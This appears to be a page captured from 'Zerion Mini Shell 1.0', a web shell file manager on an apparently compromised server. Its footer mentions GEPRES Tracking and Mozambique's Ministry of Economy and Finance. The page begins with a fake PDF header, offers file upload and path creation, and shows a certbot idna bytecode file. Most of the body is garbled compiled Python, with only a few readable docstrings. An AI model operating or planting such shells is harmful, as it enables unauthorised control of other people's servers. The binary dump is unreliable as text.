%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/certbot/current/lib/python3.12/site-packages/idna/__pycache__/
Upload File :
Create Path :
Current File : //snap/certbot/current/lib/python3.12/site-packages/idna/__pycache__/compat.cpython-312.pyc

�

�h�j`��D�ddlmZddlmZddlmZmZd	d�Zd
d�Zdd�Z	y)�)�annotations)�Any�)�decode�encodec��t|�S)acCompatibility shim for :rfc:`3490` ``ToASCII``.

    Delegates to :func:`idna.encode` (IDNA 2008). Provided to ease porting
    of code written against the legacy :mod:`encodings.idna` API; new code
    should call :func:`idna.encode` directly.

    :param label: The label or domain to encode.
    :returns: The encoded form as ASCII :class:`bytes`.
    )r��labels �G/root/parts/certbot/install/lib/python3.12/site-packages/idna/compat.py�ToASCIIr����%�=��c��t|�S)aUCompatibility shim for :rfc:`3490` ``ToUnicode``.

    Delegates to :func:`idna.decode` (IDNA 2008). Provided to ease porting
    of code written against the legacy :mod:`encodings.idna` API; new code
    should call :func:`idna.decode` directly.

    :param label: The label or domain to decode.
    :returns: The decoded Unicode form.
    )rr	s r�	ToUnicoderr
rc��td��)a4Stub for :rfc:`3491` Nameprep, which is not used by IDNA 2008.

    IDNA 2008 (:rfc:`5891`) replaces Nameprep with the per-codepoint
    validity classes from :rfc:`5892`; this function exists only to
    return a clear error if legacy code attempts to call it.

    :raises NotImplementedError: Always.
    z,IDNA 2008 does not utilise nameprep protocol)�NotImplementedError)�ss r�nameprepr"s���L�
M�MrN)r
�str�return�bytes)r
zbytes | bytearrayrr)rrr�None)
�
__future__r�typingr�corerrrrr�rr�<module>rs��"�� �
�
�	Nr

Zerion Mini Shell 1.0
GEPRES Tracking

República de Moçambique

Ministério da Economia e Finanças